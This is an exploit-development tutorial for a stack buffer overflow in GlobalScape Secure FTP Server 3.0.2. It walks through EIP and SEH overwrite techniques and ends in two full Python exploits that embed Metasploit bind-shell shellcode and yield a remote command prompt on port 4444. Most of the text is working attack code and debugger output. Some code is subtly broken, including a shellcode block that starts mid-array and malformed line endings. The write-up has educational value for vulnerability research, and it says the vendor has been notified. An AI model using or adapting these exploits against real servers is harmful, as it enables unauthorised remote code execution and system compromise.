

GlobalScape Secure FTP Server 3.0.2 Buffer Overflow

mutts@whitehat.co.il

What is GlobalScape Secure FTP Server?	2
Where's the problem?	2
Abusing the EIP.....	3
Determining available space for shellcode.....	4
Dealing with character filtering	4
Finding an Address in memory	5
Final Exploit using EIP overwrite method	5
Abusing the SEH	8
Final Exploit using SEH overwrite method.....	9
Final notes.....	11
References, Credits and Thanks	11

What is GlobalScape Secure FTP Server?

GlobalScape Secure FTP Server is a flexible, reliable, and cost-effective File Transfer Protocol (FTP) Server. Secure FTP Server is used to exchange data securely using the most up-to-date security protocols available and employs a rich set of automation tools, providing a comprehensive data management solution.

Where's the problem?

GlobalScape FTP server does not filter user input properly, and crashes once ~3000 characters are sent by an **authenticated** user. The following python script will crash the server, with the resulting CPU registers (Figure 1).

```
#!/usr/bin/python

import socket
import struct
import time

buffer = '\x41'*3000

try:
    s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    connect=s.connect(('192.168.1.153',21))
    d=s.recv(1024)
    time.sleep(1)
    s.send('USER muts\r\n')
    s.recv(1024)
    time.sleep(1)
    s.send('PASS muts\r\n')
    s.recv(1024)
    time.sleep(1)
    s.send(buffer+r\n')
except:
    print "Can't connect to ftp"
```

Registers (FPU)		<	<	<	<	<
EAX	00000000					
ECX	0214FA9C	ASCII	"AA"			
EDX	00B4B254					
EBX	00B4E0A0					
ESP	0214FA6C	ASCII	"AA"			
EBP	422689E4					
ESI	00FDC381	ASCII	"500 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"			
EDI	00B4E670					
EIP	41414141					

(Figure 1)

As we can see, the EIP register is overwritten, and allows us to control the execution flow of the FTP server.

Abusing the EIP

The EIP is overwritten after exactly 2043 bytes of user input, as can be seen by the following script, and resulting CPU registers (Figure 2).

```
#!/usr/bin/python

import socket
import struct
import time

buffer = '\x41'*2043 + '\x42'*4 + '\x43'*1000

try:
    s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    connect=s.connect (('192.168.1.153',21))
    d=s.recv(1024)
    time.sleep(1)
    s.send('USER muts\r\n')
    s.recv(1024)
    time.sleep(1)
    s.send('PASS muts\r\n')
    s.recv(1024)
    time.sleep(1)
    s.send(buffer+'r\n')
except:
    print "Can't connect to ftp"
```

```
Registers (FPU) < < < < <
EAX 00000000
ECX 0264FA9C ASCII "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
EDX 00B4B254
EBX 00B4E0A0
ESP 0264FA6C ASCII "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
EBP 42268BDB
ESI 00B4EBA9 ASCII "500 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
EDI 00B4E6A0
EIP 42424242
```

(Figure 2)

Notice that EIP is overwritten with B's (\x42), and that remaining user input is pointed to by ECX, ESP and ESI. Theoretically, we can attempt to place our shellcode in the stack at any one of these memory addresses, as long as we can jump to that location. For the purposes of our demonstration, we will "jump to ESP" in order to land in our shellcode.

Determining available space for shellcode

We also need to determine exactly how much space we have for our shellcode. We can do this by sending a long string (in our case, 2000 `\xcc`'s) and examining the stack after the crash.

The buffer below resulted in Figure 3.

```
buffer = '\x41'*2043 + '\x42'*4 + '\xcc'*2000
```

Address	Hex dump	ASCII
0274FA6C	CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC	FFFFFFFFFFFFFFFFFFFFFF
0274FA7C	CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC	FFFFFFFFFFFFFFFFFFFFFF
0274FA8C	CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC	FFFFFFFFFFFFFFFFFFFFFF
0274FA9C	CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC	FFFFFFFFFFFFFFFFFFFFFF
0274FAAC	CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC	FFFFFFFFFFFFFFFFFFFFFF
0274FABC	CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC	FFFFFFFFFFFFFFFFFFFFFF
0274FACC	CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC	FFFFFFFFFFFFFFFFFFFFFF
.....		
0274FF4C	CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC	FFFFFFFFFFFFFFFFFFFFFF
0274FF5C	CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC	FFFFFFFFFFFFFFFFFFFFFF
0274FF6C	CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC	FFFFFFFFFFFFFFFFFFFFFF
0274FF7C	27 3A 20 63 6F 6D 61 6E 64 20 6E 6F 74 20 75	': command not u
0274FF8C	6E 64 65 72 73 74 6F 6F 64 2E 00 0A 00 03 84 FF	nderstood...`a
0274FF9C	8C FF 74 02 8F 13 43 80 DC FF 74 02 DC 01 4C 00	i t0A!CC t0L
0274FFAC	D8 2E 4E 00 00 00 00 00 EC FF 74 02 7C 98 4E 7C	†.N..... t0!N!

(Figure 3)

A quick calculation will show us that we have approximately 1280 bytes of space for our shellcode.

Dealing with character filtering

Some applications filter or alter the data stream they receive. In order for our exploit to work, we need to ensure that none of our shellcode (or entire buffer for that matter) is altered by the application. We can check for filtering by sending varying ascii characters as our "shellcode" and then check in the debugger to see if anything has changed. We send the following buffer, and receive the output in Figure 4:

```
buffer = '\x41'*2043 + '\x42'*4 + 'ABCD...XYZabcd..xyz123...890'
```

Address	Hex dump	ASCII
0234FA8C	41 42 43 44 45 46 47 48 49 4A 4B 4C 4D 4E 4F 50	ABCDEFGHIJKLMN0P
0234FA9C	51 52 53 54 55 56 57 58 59 5A 41 42 43 44 45 46	QRSTUVWXYZABCDE
0234FAAC	47 48 49 4A 4B 4C 4D 4E 4F 50 51 52 53 54 55 56	GHIJKLMN0PQRSTU
0234FABC	57 58 59 5A 31 32 33 34 35 36 37 38 39 30 CC CC	WXYZ1234567890FF

(Figure 4)

If you look closely, you will see that GlobalScape FTP server converts lowercase characters to uppercase. Any character from `\x60` upto `\x7a` will be converted. We can overcome this problem by creating lowercase-free shellcode with the Metasploit shellcode generator – more specifically, by using the PexAlphaNum shellcode encoder. We also need to take care in choosing our "JMP ESP" address, and make sure it doesn't contain any of these characters as well.

Finding an Address in memory

Using class101's findjump2, we find ESP addresses in a relevant system dll, such as kernel32.dll, or ntdll.dll, as depicted in Figure 5.

```
C:\>findjump2.exe kernel32.dll esp

Findjmp, Eeye, I2S-LaB
Findjmp2, Hat-Squad
Scanning kernel32.dll for code useable with the esp register
0x7C4FEDBB      call esp
Finished Scanning kernel32.dll for code useable with the esp register
Found 1 usable addresses

C:\>
```

(Figure 5)

Final Exploit using EIP overwrite method

Now that we have all the information we need (including a few trial and error fine tuning) we can get on with writing our exploit code.

```
#!/usr/bin/python
#####
# GlobalScape Secure FTP Server Buffer Overflow
# Coded by mati@see-security.com
# http://www.see-security.com
#####
#EIP Overwrite
#
#root@[muts]# ./globalscape-3.0-ftp.py
#
# [+] Evil GlobalFTP 3.0 Secure Server Exploit
# [+] Coded by mati [at] see-security [dot] com
# [+] 220 GlobalSCAPE Secure FTP Server (v. 3.0) * UNREGISTERED COPY *
#
# [+] Sending Username
```

```

# [+] Sending Password
# [+] Sending evil buffer
# [+] Connect to port 4444 on victim Machine!
#
# root@[muts]# nc -v 192.168.1.153 4444
# [192.168.1.153] 4444 (?) open
# Microsoft Windows 2000 [Version 5.00.2195]
# (C) Copyright 1985-2000 Microsoft Corp.
#
# C:\WINNT\system32>

import socket
import struct
import time

# win32_bind - EXITFUNC=thread LPORT=4444 Size=717 Encoder=PexAlphaNum
# http://metasploit.com */

sc = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49"
sc += "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
sc += "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
sc += "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
sc += "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x36\x4b\x4e"
sc += "\x4f\x44\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x42\x56\x4b\x58"
sc += "\x4e\x56\x46\x32\x46\x32\x4b\x38\x45\x44\x4e\x43\x4b\x58\x4e\x47"
sc += "\x45\x50\x4a\x57\x41\x50\x4f\x4e\x4b\x38\x4f\x34\x4a\x41\x4b\x58"
sc += "\x4f\x55\x42\x52\x41\x30\x4b\x4e\x43\x4e\x42\x53\x49\x54\x4b\x38"
sc += "\x46\x53\x4b\x58\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x39\x4e\x4a"
sc += "\x46\x58\x42\x4c\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x50\x41\x30"
sc += "\x44\x4c\x4b\x4e\x46\x4f\x4b\x33\x46\x55\x46\x42\x55\x42\x45\x57"
sc += "\x43\x4e\x4b\x58\x4f\x55\x46\x52\x41\x50\x4b\x4e\x48\x36\x4b\x58"
sc += "\x4e\x50\x4b\x34\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x43\x30"
sc += "\x4e\x52\x4b\x48\x49\x38\x4e\x36\x46\x42\x4e\x41\x41\x56\x43\x4c"
sc += "\x41\x43\x42\x4c\x46\x46\x4b\x48\x42\x54\x42\x33\x4b\x58\x42\x44"
sc += "\x4e\x50\x4b\x38\x42\x47\x4e\x41\x4d\x4a\x4b\x48\x42\x54\x4a\x50"
sc += "\x50\x35\x4a\x46\x50\x58\x50\x44\x50\x50\x4e\x4e\x42\x35\x4f\x4f"
sc += "\x48\x4d\x41\x53\x4b\x4d\x48\x36\x43\x55\x48\x56\x4a\x36\x43\x33"
sc += "\x44\x33\x4a\x56\x47\x47\x43\x47\x44\x33\x4f\x55\x46\x55\x4f\x4f"
sc += "\x42\x4d\x4a\x56\x4b\x4c\x4d\x4e\x4e\x4f\x4b\x53\x42\x45\x4f\x4f"
sc += "\x48\x4d\x4f\x35\x49\x48\x45\x4e\x48\x56\x41\x48\x4d\x4e\x4a\x50"
sc += "\x44\x30\x45\x55\x4c\x46\x44\x50\x4f\x4f\x42\x4d\x4a\x36\x49\x4d"
sc += "\x49\x50\x45\x4f\x4d\x4a\x47\x55\x4f\x4f\x48\x4d\x43\x45\x43\x45"
sc += "\x43\x55\x43\x55\x43\x45\x43\x34\x43\x45\x43\x34\x43\x35\x4f\x4f"
sc += "\x42\x4d\x48\x56\x4a\x56\x41\x41\x4e\x35\x48\x36\x43\x35\x49\x38"
sc += "\x41\x4e\x45\x49\x4a\x46\x46\x4a\x4c\x51\x42\x57\x47\x4c\x47\x55"
sc += "\x4f\x4f\x48\x4d\x4c\x36\x42\x31\x41\x45\x45\x35\x4f\x4f\x42\x4d"
sc += "\x4a\x36\x46\x4a\x4d\x4a\x50\x42\x49\x4e\x47\x55\x4f\x4f\x48\x4d"
sc += "\x43\x35\x45\x35\x4f\x4f\x42\x4d\x4a\x36\x45\x4e\x49\x44\x48\x38"
sc += "\x49\x54\x47\x55\x4f\x4f\x48\x4d\x42\x55\x46\x35\x46\x45\x45\x35"
sc += "\x4f\x4f\x42\x4d\x43\x49\x4a\x56\x47\x4e\x49\x37\x48\x4c\x49\x37"
sc += "\x47\x45\x4f\x4f\x48\x4d\x45\x55\x4f\x4f\x42\x4d\x48\x36\x4c\x56"
sc += "\x46\x46\x48\x36\x4a\x46\x43\x56\x4d\x56\x49\x38\x45\x4e\x4c\x56"
sc += "\x42\x55\x49\x55\x49\x52\x4e\x4c\x49\x48\x47\x4e\x4c\x36\x46\x54"
sc += "\x49\x58\x44\x4e\x41\x43\x42\x4c\x43\x4f\x4c\x4a\x50\x4f\x44\x54"
sc += "\x4d\x32\x50\x4f\x44\x54\x4e\x52\x43\x49\x4d\x58\x4c\x47\x4a\x53"
sc += "\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x4a\x46\x44\x57\x50\x4f\x43\x4b\x48\x51"
sc += "\x4f\x4f\x45\x57\x46\x54\x4f\x4f\x48\x4d\x4b\x45\x47\x35\x44\x35"
sc += "\x41\x35\x41\x55\x41\x35\x4c\x46\x41\x50\x41\x35\x41\x45\x45\x35"
sc += "\x41\x45\x4f\x4f\x42\x4d\x4a\x56\x4d\x4a\x49\x4d\x45\x30\x50\x4c"
sc += "\x43\x35\x4f\x4f\x48\x4d\x4c\x56\x4f\x4f\x4f\x4f\x47\x33\x4f\x4f"
sc += "\x42\x4d\x4b\x58\x47\x45\x4e\x4f\x43\x38\x46\x4c\x46\x36\x4f\x4f"
sc += "\x48\x4d\x44\x55\x4f\x4f\x42\x4d\x4a\x36\x4f\x4e\x50\x4c\x42\x4e"
sc += "\x42\x36\x43\x55\x4f\x4f\x48\x4d\x4f\x4f\x42\x4d\x5a"

```

```

buffer = '\x41'*2043+ struct.pack("<L",0x7C4FEDBB)+'\x90'*36+sc #2K SRV Sp4
try:
    s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print "\n[+] Evil GlobalFTP 3.0 Secure Server Exploit"
    print "[+] Coded by muts"
    connect=s.connect(('192.168.1.153',21))
    d=s.recv(1024)
    print "[+] " +d
    print "[+] Sending Username"
    time.sleep(1)
    s.send('USER muts\r\n')
    s.recv(1024)
    print "[+] Sending Password"
    time.sleep(1)
    s.send('PASS muts\r\n')
    s.recv(1024)
    print "[+] Sending evil buffer"
    time.sleep(1)
    s.send(buffer+'r\n')
    print "[+] Connect to port 4444 on victim Machine!\n"
except:
    print "Can't connect to ftp"

```

Abusing the SEH

If we re-examine the debugger during our initial crash, we will see that the SEH is also overwritten. The following script will result in Figures 6 and 7:

```
#!/usr/bin/python

import socket
import struct
import time

buffer = '\x41'*2099+ '\x42'*4+'\x43'*4+'\x44'*900

try:
    s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    connect=s.connect (('192.168.1.153',21))
    d=s.recv(1024)
    time.sleep(1)
    s.send('USER muts\r\n')
    s.recv(1024)
    time.sleep(1)
    s.send('PASS muts\r\n')
    s.recv(1024)
    time.sleep(1)
    s.send(buffer+'r\n')
except:
    print "Can't connect to ftp"
```

0264FA6C	41414141	
0264FA70	41414141	
0264FA74	41414141	
0264FA78	41414141	
0264FA7C	41414141	
0264FA80	41414141	
0264FA84	41414141	
0264FA88	41414141	
0264FA8C	41414141	
0264FA90	41414141	
0264FA94	41414141	
0264FA98	41414141	
0264FA9C	42424242	Pointer to next SEH record
0264FAA0	43434343	SE handler
0264FAA4	44444444	
0264FAA8	44444444	
0264FAAC	44444444	
0264FAB0	44444444	
0264FAB4	44444444	
0264FAB8	44444444	
0264FABC	44444444	
0264FAC0	44444444	
0264FAC4	44444444	
0264FAC8	44444444	

(Figure 6)


```
sc += "\x4f\x44\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x42\x56\x4b\x58"
sc += "\x4e\x56\x46\x32\x46\x32\x4b\x38\x45\x44\x4e\x43\x4b\x58\x4e\x47"
sc += "\x45\x50\x4a\x57\x41\x50\x4f\x4e\x4b\x38\x4f\x34\x4a\x41\x4b\x58"
sc += "\x4f\x55\x42\x52\x41\x30\x4b\x4e\x43\x4e\x42\x53\x49\x54\x4b\x38"
sc += "\x46\x53\x4b\x58\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x39\x4e\x4a"
sc += "\x46\x58\x42\x4c\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x50\x41\x30"
sc += "\x44\x4c\x4b\x4e\x46\x4f\x4b\x33\x46\x55\x46\x42\x4a\x42\x45\x57"
sc += "\x43\x4e\x4b\x58\x4f\x55\x46\x52\x41\x50\x4b\x4e\x48\x36\x4b\x58"
sc += "\x4e\x50\x4b\x34\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x43\x30"
sc += "\x4e\x52\x4b\x48\x49\x38\x4e\x36\x46\x42\x4e\x41\x41\x56\x43\x4c"
sc += "\x41\x43\x42\x4c\x46\x46\x4b\x48\x42\x54\x42\x33\x4b\x58\x42\x44"
sc += "\x4e\x50\x4b\x38\x42\x47\x4e\x41\x4d\x4a\x4b\x48\x42\x54\x4a\x50"
sc += "\x50\x35\x4a\x46\x50\x58\x50\x44\x50\x50\x4e\x4e\x42\x35\x4f\x4f"
sc += "\x48\x4d\x41\x53\x4b\x4d\x48\x36\x43\x55\x48\x56\x4a\x36\x43\x33"
sc += "\x44\x33\x4a\x56\x47\x47\x43\x47\x44\x33\x4f\x55\x46\x55\x4f\x4f"
sc += "\x42\x4d\x4a\x56\x4b\x4c\x4d\x4e\x4e\x4f\x4b\x53\x42\x45\x4f\x4f"
sc += "\x48\x4d\x4f\x35\x49\x48\x45\x4e\x48\x56\x41\x48\x4d\x4e\x4a\x50"
sc += "\x44\x30\x45\x55\x4c\x46\x44\x50\x4f\x4f\x42\x4d\x4a\x36\x49\x4d"
sc += "\x49\x50\x45\x4f\x4d\x4a\x47\x55\x4f\x4f\x48\x4d\x43\x45\x43\x45"
sc += "\x42\x4d\x48\x56\x4a\x56\x41\x41\x4e\x35\x48\x36\x43\x35\x49\x38"
sc += "\x41\x4e\x45\x49\x4a\x46\x46\x4a\x4c\x51\x42\x57\x47\x4c\x47\x55"
sc += "\x4f\x4f\x48\x4d\x4c\x36\x42\x31\x41\x45\x45\x35\x4f\x4f\x42\x4d"
sc += "\x4a\x36\x46\x4a\x4d\x4a\x50\x42\x49\x4e\x47\x55\x4f\x4f\x48\x4d"
sc += "\x43\x35\x45\x35\x4f\x4f\x42\x4d\x4a\x36\x45\x4e\x49\x44\x48\x38"
sc += "\x49\x54\x47\x55\x4f\x4f\x48\x4d\x42\x55\x46\x35\x46\x45\x45\x35"
sc += "\x4f\x4f\x42\x4d\x43\x49\x4a\x56\x47\x4e\x49\x37\x48\x4c\x49\x37"
sc += "\x47\x45\x4f\x4f\x48\x4d\x45\x55\x4f\x4f\x42\x4d\x48\x36\x4c\x56"
sc += "\x46\x46\x48\x36\x4a\x46\x43\x56\x4d\x56\x49\x38\x45\x4e\x4c\x56"
sc += "\x42\x55\x49\x55\x49\x52\x4e\x4c\x49\x48\x47\x4e\x4c\x36\x46\x54"
sc += "\x49\x58\x44\x4e\x41\x43\x42\x4c\x43\x4f\x4c\x4a\x50\x4f\x44\x54"
sc += "\x4d\x32\x50\x4f\x44\x54\x4e\x52\x43\x49\x4d\x58\x4c\x47\x4a\x53"
sc += "\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x46\x44\x57\x50\x4f\x43\x4b\x48\x51"
sc += "\x4f\x4f\x45\x57\x46\x54\x4f\x4f\x48\x4d\x4b\x45\x47\x35\x44\x35"
sc += "\x41\x35\x41\x55\x41\x35\x4c\x46\x41\x50\x41\x35\x41\x45\x45\x35"
sc += "\x41\x45\x4f\x4f\x42\x4d\x4a\x56\x4d\x4a\x49\x4d\x45\x30\x50\x4c"
sc += "\x43\x35\x4f\x4f\x48\x4d\x4c\x56\x4f\x4f\x4f\x4f\x47\x33\x4f\x4f"
sc += "\x42\x4d\x4b\x58\x47\x45\x4e\x4f\x43\x38\x46\x4c\x46\x36\x4f\x4f"
sc += "\x48\x4d\x44\x55\x4f\x4f\x42\x4d\x4a\x36\x4f\x4e\x50\x4c\x42\x4e"
sc += "\x42\x36\x43\x55\x4f\x4f\x48\x4d\x4f\x4f\x42\x4d\x5a"
```

```
buffer = '\x41'*2099+'\xEB\x06\x06\xEB'+'\xb2\x54\x53\x7c'+'\x90'*59+sc
try:
```

```
    s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print "\n[+] Evil GlobalFTP 3.0 Secure Server Exploit"
    print "[+] Coded by muts"
    connect=s.connect(('192.168.1.153',21))
    d=s.recv(1024)
    print "[+] " +d
    print "[+] Sending Username"
    time.sleep(1)
    s.send('USER muts\r\n')
    s.recv(1024)
    print "[+] Sending Password"
    time.sleep(1)
    s.send('PASS muts\r\n')
    s.recv(1024)
    print "[+] Sending evil buffer"
    time.sleep(1)
    s.send(buffer+'r\n')
    print "[+] Connect to port 4444 on victim Machine!\n"
```

```
except:
    print "Can't connect to ftp"
```

Final notes

A copy of the EIP overwrite Exploit can be found here:

http://www.hackingdefined.com/exploits/globalscape_ftp_30_EIP.py

A copy of the SEH overwrite Exploit can be found here:

http://www.hackingdefined.com/exploits/globalscape_ftp_30_SEH.py

A Metasploit port can be found here:

http://www.hackingdefined.com/exploits/globalscape_ftp_30.pm

NOTE #1:

This article was meant to arrange my own thoughts about this buffer overflow. If you find errors, mistakes, blatant garbage or otherwise have comments – feel free to contact me.

NOTE #2:

The exploit described here has been tested on Windows 2000 Server SP4. No special attempts have been made to universalize return addresses. If you need to, change the code to suit your needs!

NOTE #3:

Vendor has been notified, and a fix is available. No animals were harmed during this process.

References, Credits and Thanks

(In no particular order)

- Thanks to my wife for tolerating me during my learning experience.
- Thanks to Tal zeltzer for guiding me through the darkness.
- Thanks to Metasploit for their wonderful, wonderful stuff.
- All the whitehat.co.il gang – you know who you are!
- George, my smelly yet lovable dog -> <http://www.whitehat.co.il/background.jpg>

<http://metasploit.com>

http://www.securityforest.com/wiki/index.php/Exploit:_Stack_Overflows_-_Exploiting_SEH_on_win32

<http://class101.org/>